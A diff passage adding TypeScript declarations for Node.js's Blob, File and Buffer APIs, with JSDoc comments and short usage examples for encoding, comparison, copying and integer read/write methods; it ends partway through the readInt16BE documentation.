+ * A [`Blob`](https://developer.mozilla.org/en-US/docs/Web/API/Blob) encapsulates immutable, raw data that can be safely shared across + * multiple worker threads. + * @since v15.7.0, v14.18.0 + */ + export class Blob { + /** + * The total size of the `Blob` in bytes. + * @since v15.7.0, v14.18.0 + */ + readonly size: number; + /** + * The content-type of the `Blob`. + * @since v15.7.0, v14.18.0 + */ + readonly type: string; + /** + * Creates a new `Blob` object containing a concatenation of the given sources. + * + * {ArrayBuffer}, {TypedArray}, {DataView}, and {Buffer} sources are copied into + * the 'Blob' and can therefore be safely modified after the 'Blob' is created. + * + * String sources are also copied into the `Blob`. + */ + constructor(sources: Array, options?: BlobOptions); + /** + * Returns a promise that fulfills with an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) containing a copy of + * the `Blob` data. + * @since v15.7.0, v14.18.0 + */ + arrayBuffer(): Promise; + /** + * The `blob.bytes()` method returns the byte of the `Blob` object as a `Promise`. + * + * ```js + * const blob = new Blob(['hello']); + * blob.bytes().then((bytes) => { + * console.log(bytes); // Outputs: Uint8Array(5) [ 104, 101, 108, 108, 111 ] + * }); + * ``` + */ + bytes(): Promise; + /** + * Creates and returns a new `Blob` containing a subset of this `Blob` objects + * data. The original `Blob` is not altered. + * @since v15.7.0, v14.18.0 + * @param start The starting index. + * @param end The ending index. + * @param type The content-type for the new `Blob` + */ + slice(start?: number, end?: number, type?: string): Blob; + /** + * Returns a promise that fulfills with the contents of the `Blob` decoded as a + * UTF-8 string. + * @since v15.7.0, v14.18.0 + */ + text(): Promise; + /** + * Returns a new `ReadableStream` that allows the content of the `Blob` to be read. + * @since v16.7.0 + */ + stream(): WebReadableStream; + } + export interface FileOptions { + /** + * One of either `'transparent'` or `'native'`. When set to `'native'`, line endings in string source parts will be + * converted to the platform native line-ending as specified by `import { EOL } from 'node:os'`. + */ + endings?: "native" | "transparent"; + /** The File content-type. */ + type?: string; + /** The last modified date of the file. `Default`: Date.now(). */ + lastModified?: number; + } + /** + * A [`File`](https://developer.mozilla.org/en-US/docs/Web/API/File) provides information about files. + * @since v19.2.0, v18.13.0 + */ + export class File extends Blob { + constructor(sources: Array, fileName: string, options?: FileOptions); + /** + * The name of the `File`. + * @since v19.2.0, v18.13.0 + */ + readonly name: string; + /** + * The last modified date of the `File`. + * @since v19.2.0, v18.13.0 + */ + readonly lastModified: number; + } + export import atob = globalThis.atob; + export import btoa = globalThis.btoa; + + global { + namespace NodeJS { + export { BufferEncoding }; + } + // Buffer class + type BufferEncoding = + | "ascii" + | "utf8" + | "utf-8" + | "utf16le" + | "utf-16le" + | "ucs2" + | "ucs-2" + | "base64" + | "base64url" + | "latin1" + | "binary" + | "hex"; + type WithImplicitCoercion = + | T + | { + valueOf(): T; + }; + /** + * Raw data is stored in instances of the Buffer class. + * A Buffer is similar to an array of integers but corresponds to a raw memory allocation outside the V8 heap. A Buffer cannot be resized. + * Valid string encodings: 'ascii'|'utf8'|'utf16le'|'ucs2'(alias of 'utf16le')|'base64'|'base64url'|'binary'(deprecated)|'hex' + */ + interface BufferConstructor { + // see buffer.buffer.d.ts for implementation specific to TypeScript 5.7 and later + // see ts5.6/buffer.buffer.d.ts for implementation specific to TypeScript 5.6 and earlier + + /** + * Returns `true` if `obj` is a `Buffer`, `false` otherwise. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * Buffer.isBuffer(Buffer.alloc(10)); // true + * Buffer.isBuffer(Buffer.from('foo')); // true + * Buffer.isBuffer('a string'); // false + * Buffer.isBuffer([]); // false + * Buffer.isBuffer(new Uint8Array(1024)); // false + * ``` + * @since v0.1.101 + */ + isBuffer(obj: any): obj is Buffer; + /** + * Returns `true` if `encoding` is the name of a supported character encoding, + * or `false` otherwise. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * console.log(Buffer.isEncoding('utf8')); + * // Prints: true + * + * console.log(Buffer.isEncoding('hex')); + * // Prints: true + * + * console.log(Buffer.isEncoding('utf/8')); + * // Prints: false + * + * console.log(Buffer.isEncoding('')); + * // Prints: false + * ``` + * @since v0.9.1 + * @param encoding A character encoding name to check. + */ + isEncoding(encoding: string): encoding is BufferEncoding; + /** + * Returns the byte length of a string when encoded using `encoding`. + * This is not the same as [`String.prototype.length`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length), which does not account + * for the encoding that is used to convert the string into bytes. + * + * For `'base64'`, `'base64url'`, and `'hex'`, this function assumes valid input. + * For strings that contain non-base64/hex-encoded data (e.g. whitespace), the + * return value might be greater than the length of a `Buffer` created from the + * string. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const str = '\u00bd + \u00bc = \u00be'; + * + * console.log(`${str}: ${str.length} characters, ` + + * `${Buffer.byteLength(str, 'utf8')} bytes`); + * // Prints: ½ + ¼ = ¾: 9 characters, 12 bytes + * ``` + * + * When `string` is a + * `Buffer`/[`DataView`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView)/[`TypedArray`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/- + * Reference/Global_Objects/TypedArray)/[`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer)/[`SharedArrayBuffer`](https://develop- + * er.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer), the byte length as reported by `.byteLength`is returned. + * @since v0.1.90 + * @param string A value to calculate the length of. + * @param [encoding='utf8'] If `string` is a string, this is its encoding. + * @return The number of bytes contained within `string`. + */ + byteLength( + string: string | Buffer | NodeJS.ArrayBufferView | ArrayBuffer | SharedArrayBuffer, + encoding?: BufferEncoding, + ): number; + /** + * Compares `buf1` to `buf2`, typically for the purpose of sorting arrays of `Buffer` instances. This is equivalent to calling `buf1.compare(buf2)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from('1234'); + * const buf2 = Buffer.from('0123'); + * const arr = [buf1, buf2]; + * + * console.log(arr.sort(Buffer.compare)); + * // Prints: [ , ] + * // (This result is equal to: [buf2, buf1].) + * ``` + * @since v0.11.13 + * @return Either `-1`, `0`, or `1`, depending on the result of the comparison. See `compare` for details. + */ + compare(buf1: Uint8Array, buf2: Uint8Array): -1 | 0 | 1; + /** + * This is the size (in bytes) of pre-allocated internal `Buffer` instances used + * for pooling. This value may be modified. + * @since v0.11.3 + */ + poolSize: number; + } + interface Buffer { + // see buffer.buffer.d.ts for implementation specific to TypeScript 5.7 and later + // see ts5.6/buffer.buffer.d.ts for implementation specific to TypeScript 5.6 and earlier + + /** + * Writes `string` to `buf` at `offset` according to the character encoding in`encoding`. The `length` parameter is the number of bytes to write. If `buf` did + * not contain enough space to fit the entire string, only part of `string` will be + * written. However, partially encoded characters will not be written. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.alloc(256); + * + * const len = buf.write('\u00bd + \u00bc = \u00be', 0); + * + * console.log(`${len} bytes: ${buf.toString('utf8', 0, len)}`); + * // Prints: 12 bytes: ½ + ¼ = ¾ + * + * const buffer = Buffer.alloc(10); + * + * const length = buffer.write('abcd', 8); + * + * console.log(`${length} bytes: ${buffer.toString('utf8', 8, 10)}`); + * // Prints: 2 bytes : ab + * ``` + * @since v0.1.90 + * @param string String to write to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write `string`. + * @param [length=buf.length - offset] Maximum number of bytes to write (written bytes will not exceed `buf.length - offset`). + * @param [encoding='utf8'] The character encoding of `string`. + * @return Number of bytes written. + */ + write(string: string, encoding?: BufferEncoding): number; + write(string: string, offset: number, encoding?: BufferEncoding): number; + write(string: string, offset: number, length: number, encoding?: BufferEncoding): number; + /** + * Decodes `buf` to a string according to the specified character encoding in`encoding`. `start` and `end` may be passed to decode only a subset of `buf`. + * + * If `encoding` is `'utf8'` and a byte sequence in the input is not valid UTF-8, + * then each invalid byte is replaced with the replacement character `U+FFFD`. + * + * The maximum length of a string instance (in UTF-16 code units) is available + * as {@link constants.MAX_STRING_LENGTH}. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.allocUnsafe(26); + * + * for (let i = 0; i < 26; i++) { + * // 97 is the decimal ASCII value for 'a'. + * buf1[i] = i + 97; + * } + * + * console.log(buf1.toString('utf8')); + * // Prints: abcdefghijklmnopqrstuvwxyz + * console.log(buf1.toString('utf8', 0, 5)); + * // Prints: abcde + * + * const buf2 = Buffer.from('tést'); + * + * console.log(buf2.toString('hex')); + * // Prints: 74c3a97374 + * console.log(buf2.toString('utf8', 0, 3)); + * // Prints: té + * console.log(buf2.toString(undefined, 0, 3)); + * // Prints: té + * ``` + * @since v0.1.90 + * @param [encoding='utf8'] The character encoding to use. + * @param [start=0] The byte offset to start decoding at. + * @param [end=buf.length] The byte offset to stop decoding at (not inclusive). + */ + toString(encoding?: BufferEncoding, start?: number, end?: number): string; + /** + * Returns a JSON representation of `buf`. [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) implicitly calls + * this function when stringifying a `Buffer` instance. + * + * `Buffer.from()` accepts objects in the format returned from this method. + * In particular, `Buffer.from(buf.toJSON())` works like `Buffer.from(buf)`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x1, 0x2, 0x3, 0x4, 0x5]); + * const json = JSON.stringify(buf); + * + * console.log(json); + * // Prints: {"type":"Buffer","data":[1,2,3,4,5]} + * + * const copy = JSON.parse(json, (key, value) => { + * return value && value.type === 'Buffer' ? + * Buffer.from(value) : + * value; + * }); + * + * console.log(copy); + * // Prints: + * ``` + * @since v0.9.2 + */ + toJSON(): { + type: "Buffer"; + data: number[]; + }; + /** + * Returns `true` if both `buf` and `otherBuffer` have exactly the same bytes,`false` otherwise. Equivalent to `buf.compare(otherBuffer) === 0`. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from('ABC'); + * const buf2 = Buffer.from('414243', 'hex'); + * const buf3 = Buffer.from('ABCD'); + * + * console.log(buf1.equals(buf2)); + * // Prints: true + * console.log(buf1.equals(buf3)); + * // Prints: false + * ``` + * @since v0.11.13 + * @param otherBuffer A `Buffer` or {@link Uint8Array} with which to compare `buf`. + */ + equals(otherBuffer: Uint8Array): boolean; + /** + * Compares `buf` with `target` and returns a number indicating whether `buf`comes before, after, or is the same as `target` in sort order. + * Comparison is based on the actual sequence of bytes in each `Buffer`. + * + * * `0` is returned if `target` is the same as `buf` + * * `1` is returned if `target` should come _before_`buf` when sorted. + * * `-1` is returned if `target` should come _after_`buf` when sorted. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from('ABC'); + * const buf2 = Buffer.from('BCD'); + * const buf3 = Buffer.from('ABCD'); + * + * console.log(buf1.compare(buf1)); + * // Prints: 0 + * console.log(buf1.compare(buf2)); + * // Prints: -1 + * console.log(buf1.compare(buf3)); + * // Prints: -1 + * console.log(buf2.compare(buf1)); + * // Prints: 1 + * console.log(buf2.compare(buf3)); + * // Prints: 1 + * console.log([buf1, buf2, buf3].sort(Buffer.compare)); + * // Prints: [ , , ] + * // (This result is equal to: [buf1, buf3, buf2].) + * ``` + * + * The optional `targetStart`, `targetEnd`, `sourceStart`, and `sourceEnd` arguments can be used to limit the comparison to specific ranges within `target` and `buf` respectively. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from([1, 2, 3, 4, 5, 6, 7, 8, 9]); + * const buf2 = Buffer.from([5, 6, 7, 8, 9, 1, 2, 3, 4]); + * + * console.log(buf1.compare(buf2, 5, 9, 0, 4)); + * // Prints: 0 + * console.log(buf1.compare(buf2, 0, 6, 4)); + * // Prints: -1 + * console.log(buf1.compare(buf2, 5, 6, 5)); + * // Prints: 1 + * ``` + * + * `ERR_OUT_OF_RANGE` is thrown if `targetStart < 0`, `sourceStart < 0`, `targetEnd > target.byteLength`, or `sourceEnd > source.byteLength`. + * @since v0.11.13 + * @param target A `Buffer` or {@link Uint8Array} with which to compare `buf`. + * @param [targetStart=0] The offset within `target` at which to begin comparison. + * @param [targetEnd=target.length] The offset within `target` at which to end comparison (not inclusive). + * @param [sourceStart=0] The offset within `buf` at which to begin comparison. + * @param [sourceEnd=buf.length] The offset within `buf` at which to end comparison (not inclusive). + */ + compare( + target: Uint8Array, + targetStart?: number, + targetEnd?: number, + sourceStart?: number, + sourceEnd?: number, + ): -1 | 0 | 1; + /** + * Copies data from a region of `buf` to a region in `target`, even if the `target`memory region overlaps with `buf`. + * + * [`TypedArray.prototype.set()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray/set) performs the same operation, and is available + * for all TypedArrays, including Node.js `Buffer`s, although it takes + * different function arguments. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create two `Buffer` instances. + * const buf1 = Buffer.allocUnsafe(26); + * const buf2 = Buffer.allocUnsafe(26).fill('!'); + * + * for (let i = 0; i < 26; i++) { + * // 97 is the decimal ASCII value for 'a'. + * buf1[i] = i + 97; + * } + * + * // Copy `buf1` bytes 16 through 19 into `buf2` starting at byte 8 of `buf2`. + * buf1.copy(buf2, 8, 16, 20); + * // This is equivalent to: + * // buf2.set(buf1.subarray(16, 20), 8); + * + * console.log(buf2.toString('ascii', 0, 25)); + * // Prints: !!!!!!!!qrst!!!!!!!!!!!!! + * ``` + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * // Create a `Buffer` and copy data from one region to an overlapping region + * // within the same `Buffer`. + * + * const buf = Buffer.allocUnsafe(26); + * + * for (let i = 0; i < 26; i++) { + * // 97 is the decimal ASCII value for 'a'. + * buf[i] = i + 97; + * } + * + * buf.copy(buf, 0, 4, 10); + * + * console.log(buf.toString()); + * // Prints: efghijghijklmnopqrstuvwxyz + * ``` + * @since v0.1.90 + * @param target A `Buffer` or {@link Uint8Array} to copy into. + * @param [targetStart=0] The offset within `target` at which to begin writing. + * @param [sourceStart=0] The offset within `buf` from which to begin copying. + * @param [sourceEnd=buf.length] The offset within `buf` at which to stop copying (not inclusive). + * @return The number of bytes copied. + */ + copy(target: Uint8Array, targetStart?: number, sourceStart?: number, sourceEnd?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. + * + * `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeBigInt64BE(0x0102030405060708n, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v12.0.0, v10.20.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy: `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeBigInt64BE(value: bigint, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian. + * + * `value` is interpreted and written as a two's complement signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeBigInt64LE(0x0102030405060708n, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v12.0.0, v10.20.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy: `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeBigInt64LE(value: bigint, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as big-endian. + * + * This function is also available under the `writeBigUint64BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeBigUInt64BE(0xdecafafecacefaden, 0); + * + * console.log(buf); + * // Prints: + * ``` + * @since v12.0.0, v10.20.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy: `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeBigUInt64BE(value: bigint, offset?: number): number; + /** + * @alias Buffer.writeBigUInt64BE + * @since v14.10.0, v12.19.0 + */ + writeBigUint64BE(value: bigint, offset?: number): number; + /** + * Writes `value` to `buf` at the specified `offset` as little-endian + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(8); + * + * buf.writeBigUInt64LE(0xdecafafecacefaden, 0); + * + * console.log(buf); + * // Prints: + * ``` + * + * This function is also available under the `writeBigUint64LE` alias. + * @since v12.0.0, v10.20.0 + * @param value Number to be written to `buf`. + * @param [offset=0] Number of bytes to skip before starting to write. Must satisfy: `0 <= offset <= buf.length - 8`. + * @return `offset` plus the number of bytes written. + */ + writeBigUInt64LE(value: bigint, offset?: number): number; + /** + * @alias Buffer.writeBigUInt64LE + * @since v14.10.0, v12.19.0 + */ + writeBigUint64LE(value: bigint, offset?: number): number; + /** + * Writes `byteLength` bytes of `value` to `buf` at the specified `offset`as little-endian. Supports up to 48 bits of accuracy. Behavior is undefined + * when `value` is anything other than an unsigned integer. + * + * This function is also available under the `writeUintLE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(6); + * + * buf.writeUIntLE(0x1234567890ab, 0, 6); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param offset Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to write. Must satisfy `0 < byteLength <= 6`. + * @return `offset` plus the number of bytes written. + */ + writeUIntLE(value: number, offset: number, byteLength: number): number; + /** + * @alias Buffer.writeUIntLE + * @since v14.9.0, v12.19.0 + */ + writeUintLE(value: number, offset: number, byteLength: number): number; + /** + * Writes `byteLength` bytes of `value` to `buf` at the specified `offset`as big-endian. Supports up to 48 bits of accuracy. Behavior is undefined + * when `value` is anything other than an unsigned integer. + * + * This function is also available under the `writeUintBE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(6); + * + * buf.writeUIntBE(0x1234567890ab, 0, 6); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.5.5 + * @param value Number to be written to `buf`. + * @param offset Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to write. Must satisfy `0 < byteLength <= 6`. + * @return `offset` plus the number of bytes written. + */ + writeUIntBE(value: number, offset: number, byteLength: number): number; + /** + * @alias Buffer.writeUIntBE + * @since v14.9.0, v12.19.0 + */ + writeUintBE(value: number, offset: number, byteLength: number): number; + /** + * Writes `byteLength` bytes of `value` to `buf` at the specified `offset`as little-endian. Supports up to 48 bits of accuracy. Behavior is undefined + * when `value` is anything other than a signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(6); + * + * buf.writeIntLE(0x1234567890ab, 0, 6); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param offset Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to write. Must satisfy `0 < byteLength <= 6`. + * @return `offset` plus the number of bytes written. + */ + writeIntLE(value: number, offset: number, byteLength: number): number; + /** + * Writes `byteLength` bytes of `value` to `buf` at the specified `offset`as big-endian. Supports up to 48 bits of accuracy. Behavior is undefined when`value` is anything other than a + * signed integer. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.allocUnsafe(6); + * + * buf.writeIntBE(0x1234567890ab, 0, 6); + * + * console.log(buf); + * // Prints: + * ``` + * @since v0.11.15 + * @param value Number to be written to `buf`. + * @param offset Number of bytes to skip before starting to write. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to write. Must satisfy `0 < byteLength <= 6`. + * @return `offset` plus the number of bytes written. + */ + writeIntBE(value: number, offset: number, byteLength: number): number; + /** + * Reads an unsigned, big-endian 64-bit integer from `buf` at the specified`offset`. + * + * This function is also available under the `readBigUint64BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff]); + * + * console.log(buf.readBigUInt64BE(0)); + * // Prints: 4294967295n + * ``` + * @since v12.0.0, v10.20.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy: `0 <= offset <= buf.length - 8`. + */ + readBigUInt64BE(offset?: number): bigint; + /** + * @alias Buffer.readBigUInt64BE + * @since v14.10.0, v12.19.0 + */ + readBigUint64BE(offset?: number): bigint; + /** + * Reads an unsigned, little-endian 64-bit integer from `buf` at the specified`offset`. + * + * This function is also available under the `readBigUint64LE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff]); + * + * console.log(buf.readBigUInt64LE(0)); + * // Prints: 18446744069414584320n + * ``` + * @since v12.0.0, v10.20.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy: `0 <= offset <= buf.length - 8`. + */ + readBigUInt64LE(offset?: number): bigint; + /** + * @alias Buffer.readBigUInt64LE + * @since v14.10.0, v12.19.0 + */ + readBigUint64LE(offset?: number): bigint; + /** + * Reads a signed, big-endian 64-bit integer from `buf` at the specified `offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed + * values. + * @since v12.0.0, v10.20.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy: `0 <= offset <= buf.length - 8`. + */ + readBigInt64BE(offset?: number): bigint; + /** + * Reads a signed, little-endian 64-bit integer from `buf` at the specified`offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed + * values. + * @since v12.0.0, v10.20.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy: `0 <= offset <= buf.length - 8`. + */ + readBigInt64LE(offset?: number): bigint; + /** + * Reads `byteLength` number of bytes from `buf` at the specified `offset` and interprets the result as an unsigned, little-endian integer supporting + * up to 48 bits of accuracy. + * + * This function is also available under the `readUintLE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78, 0x90, 0xab]); + * + * console.log(buf.readUIntLE(0, 6).toString(16)); + * // Prints: ab9078563412 + * ``` + * @since v0.11.15 + * @param offset Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to read. Must satisfy `0 < byteLength <= 6`. + */ + readUIntLE(offset: number, byteLength: number): number; + /** + * @alias Buffer.readUIntLE + * @since v14.9.0, v12.19.0 + */ + readUintLE(offset: number, byteLength: number): number; + /** + * Reads `byteLength` number of bytes from `buf` at the specified `offset` and interprets the result as an unsigned big-endian integer supporting + * up to 48 bits of accuracy. + * + * This function is also available under the `readUintBE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78, 0x90, 0xab]); + * + * console.log(buf.readUIntBE(0, 6).toString(16)); + * // Prints: 1234567890ab + * console.log(buf.readUIntBE(1, 6).toString(16)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.11.15 + * @param offset Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to read. Must satisfy `0 < byteLength <= 6`. + */ + readUIntBE(offset: number, byteLength: number): number; + /** + * @alias Buffer.readUIntBE + * @since v14.9.0, v12.19.0 + */ + readUintBE(offset: number, byteLength: number): number; + /** + * Reads `byteLength` number of bytes from `buf` at the specified `offset` and interprets the result as a little-endian, two's complement signed value + * supporting up to 48 bits of accuracy. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78, 0x90, 0xab]); + * + * console.log(buf.readIntLE(0, 6).toString(16)); + * // Prints: -546f87a9cbee + * ``` + * @since v0.11.15 + * @param offset Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to read. Must satisfy `0 < byteLength <= 6`. + */ + readIntLE(offset: number, byteLength: number): number; + /** + * Reads `byteLength` number of bytes from `buf` at the specified `offset` and interprets the result as a big-endian, two's complement signed value + * supporting up to 48 bits of accuracy. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78, 0x90, 0xab]); + * + * console.log(buf.readIntBE(0, 6).toString(16)); + * // Prints: 1234567890ab + * console.log(buf.readIntBE(1, 6).toString(16)); + * // Throws ERR_OUT_OF_RANGE. + * console.log(buf.readIntBE(1, 0).toString(16)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.11.15 + * @param offset Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - byteLength`. + * @param byteLength Number of bytes to read. Must satisfy `0 < byteLength <= 6`. + */ + readIntBE(offset: number, byteLength: number): number; + /** + * Reads an unsigned 8-bit integer from `buf` at the specified `offset`. + * + * This function is also available under the `readUint8` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([1, -2]); + * + * console.log(buf.readUInt8(0)); + * // Prints: 1 + * console.log(buf.readUInt8(1)); + * // Prints: 254 + * console.log(buf.readUInt8(2)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 1`. + */ + readUInt8(offset?: number): number; + /** + * @alias Buffer.readUInt8 + * @since v14.9.0, v12.19.0 + */ + readUint8(offset?: number): number; + /** + * Reads an unsigned, little-endian 16-bit integer from `buf` at the specified `offset`. + * + * This function is also available under the `readUint16LE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56]); + * + * console.log(buf.readUInt16LE(0).toString(16)); + * // Prints: 3412 + * console.log(buf.readUInt16LE(1).toString(16)); + * // Prints: 5634 + * console.log(buf.readUInt16LE(2).toString(16)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 2`. + */ + readUInt16LE(offset?: number): number; + /** + * @alias Buffer.readUInt16LE + * @since v14.9.0, v12.19.0 + */ + readUint16LE(offset?: number): number; + /** + * Reads an unsigned, big-endian 16-bit integer from `buf` at the specified`offset`. + * + * This function is also available under the `readUint16BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56]); + * + * console.log(buf.readUInt16BE(0).toString(16)); + * // Prints: 1234 + * console.log(buf.readUInt16BE(1).toString(16)); + * // Prints: 3456 + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 2`. + */ + readUInt16BE(offset?: number): number; + /** + * @alias Buffer.readUInt16BE + * @since v14.9.0, v12.19.0 + */ + readUint16BE(offset?: number): number; + /** + * Reads an unsigned, little-endian 32-bit integer from `buf` at the specified`offset`. + * + * This function is also available under the `readUint32LE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78]); + * + * console.log(buf.readUInt32LE(0).toString(16)); + * // Prints: 78563412 + * console.log(buf.readUInt32LE(1).toString(16)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readUInt32LE(offset?: number): number; + /** + * @alias Buffer.readUInt32LE + * @since v14.9.0, v12.19.0 + */ + readUint32LE(offset?: number): number; + /** + * Reads an unsigned, big-endian 32-bit integer from `buf` at the specified`offset`. + * + * This function is also available under the `readUint32BE` alias. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0x12, 0x34, 0x56, 0x78]); + * + * console.log(buf.readUInt32BE(0).toString(16)); + * // Prints: 12345678 + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 4`. + */ + readUInt32BE(offset?: number): number; + /** + * @alias Buffer.readUInt32BE + * @since v14.9.0, v12.19.0 + */ + readUint32BE(offset?: number): number; + /** + * Reads a signed 8-bit integer from `buf` at the specified `offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed values. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([-1, 5]); + * + * console.log(buf.readInt8(0)); + * // Prints: -1 + * console.log(buf.readInt8(1)); + * // Prints: 5 + * console.log(buf.readInt8(2)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.0 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 1`. + */ + readInt8(offset?: number): number; + /** + * Reads a signed, little-endian 16-bit integer from `buf` at the specified`offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed values. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0, 5]); + * + * console.log(buf.readInt16LE(0)); + * // Prints: 1280 + * console.log(buf.readInt16LE(1)); + * // Throws ERR_OUT_OF_RANGE. + * ``` + * @since v0.5.5 + * @param [offset=0] Number of bytes to skip before starting to read. Must satisfy `0 <= offset <= buf.length - 2`. + */ + readInt16LE(offset?: number): number; + /** + * Reads a signed, big-endian 16-bit integer from `buf` at the specified `offset`. + * + * Integers read from a `Buffer` are interpreted as two's complement signed values. + * + * ```js + * import { Buffer } from 'node:buffer'; + * + * const buf = Buffer.from([0, 5]); + * + * console.log(buf.readInt16BE(0)); + * // Prints: 5 + * ``` + * @since v0.5.5 + * 